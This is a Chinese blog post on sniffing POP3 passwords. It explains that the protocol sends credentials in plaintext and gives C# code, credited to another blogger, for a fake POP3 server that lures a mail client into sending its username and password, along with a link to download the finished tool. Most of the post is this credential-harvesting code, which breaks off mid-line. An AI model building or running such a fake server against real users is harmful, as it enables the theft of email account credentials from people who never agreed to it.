pop3密码嗅探
Posted likehc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pop3密码嗅探相关的知识,希望对你有一定的参考价值。
成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载
来说下pop协议,
英文版,https://tools.ietf.org/html/rfc1939
中文版,http://www.cnpaf.net/class/pop3/200408/122.html
pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。
这里说下2种获取密码的方式:
- pop协议分析
- pop数据包分析
(一) pop协议分析
pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。
http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.
里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.
如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。
代码 如下,就是复制别人的(^_^)。
using System; using System.Net; using System.Net.Sockets; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { try { IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110); TcpListener tcpServer = new TcpListener(ipEndPoint); tcpServer.Start(); TcpClient tcpClient = tcpServer.AcceptTcpClient(); NetworkStream ns = tcpClient.GetStream(); byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎 ns.Write(outbytes, 0, outbytes.Length); byte[] userBytes = new byte[255];//密码存储 ns.Read(userBytes, 0, userBytes.Length); string capa = Encoding.ASCII.GetString(userBytes);// if (capa.IndexOf("CAPA") >= 0)//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单 { byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine); ns.Write(capaByteArr, 0, capaByteArr.Length); ns.Read(userBytes, 0, userBytes.Length); } outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine); ns.Write(outbytes, 0, outbytes.Length); byte[] pwdBytes = new byte[255]; ns.Read(pwdBytes, 0, pwdBytes.Length); string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace(" ", "").Replace("